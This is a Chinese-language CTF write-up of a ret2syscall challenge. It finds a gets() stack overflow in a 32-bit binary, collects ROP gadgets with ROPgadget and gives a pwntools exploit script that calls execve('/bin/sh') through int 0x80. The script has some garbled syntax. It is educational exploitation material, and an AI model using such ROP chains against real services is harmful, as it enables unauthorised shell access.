首先还是file分析一下
    image.png
    查看一下保护措施
    image.png
    可以看见 开了nx 那我们就用rop

    用ida打开 然后查看main函数
    image.png
    很明显的gets函数就有栈溢出,那么再去看看字符串
    shift+f12可以看到是有个/bin/sh字符串 但是我们得去调用他
    image.png
    image.png
    也就是通过系统调用来获取shell

    那么也就有很清晰的思路
    1.把对应获取 shell 的系统调用的参数放到对应的寄存器

    2.执行 int 0x80 就可执行对应的系统调用

    Linux 的系统调用通过 int 80h 实现,用系统调用号来区分入口函数

    应用程序调用系统调用的过程是:
    1).把系统调用的编号存入 EAX
    2).把函数参数存入其它通用寄存器(这就是本程序rop的精髓 利用代码的小片段把参数pop到寄存器
    3).触发 0x80 号中断(int 0x80)
    如:比如说这里我们利用如下系统调用来获取 shell

    1. execve("/bin/sh",NULL,NULL)

    其中,该程序是 32 位,所以我们需要使得

    • 系统调用号,即 eax 应该为 0xb
    • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
    • 第二个参数,即 ecx 应该为 0
    • 第三个参数,即 edx 应该为 0

    **
    而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。(这里wiki说的太好了 直接搬过来了)

    ROPgadget —binary rop —only ‘pop|ret’ | grep ‘eax’
    image.png
    这上面的几个都可以控制EAX,选择第二个0x080bb196
    所以pop_eax_addr = 0x080bb196
    **

    ROPgadget —binary rop —only ‘pop|ret’ | grep ‘ebx’
    image.png
    这里选择0x0806eb90 因为他可以直接控制其他三个寄存器
    所以pop_addr_ebx = 0x0806eb90

    现在还需要一个/bin/sh地址 我题解一开头就表明了/bin/sh的地址
    所以
    shell_addr = 0x080be408

    还需要一个 int 80h的地址(Linux 的系统调用通过 int 80h 实现)
    ROPgadget —binary rop —only ‘int’
    image.png
    所以int_addr = 0x08049421

    至于偏移我之前的两篇wp意见写的很详细了
    这里偏移还是112个字节

    这个时候就可以写exp了
    from pwn import

    sh = process(‘./rop’)
    pop_eax_addr = 0x080bb196
    pop_edx_addr = 0x0806eb90
    int_addr = 0x08049421
    shell_addr = 0x80be408
    payload = flat([112
    ‘A’ + pop_eax_addr,0xb,pop_edx_addr,0,0,shell_addr,int_addr]) #其中 0xb 为 execve 对应的系统调用号
    sh.sendline(payload)
    sh.interactive()


    这里借鉴了:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/#ret2syscall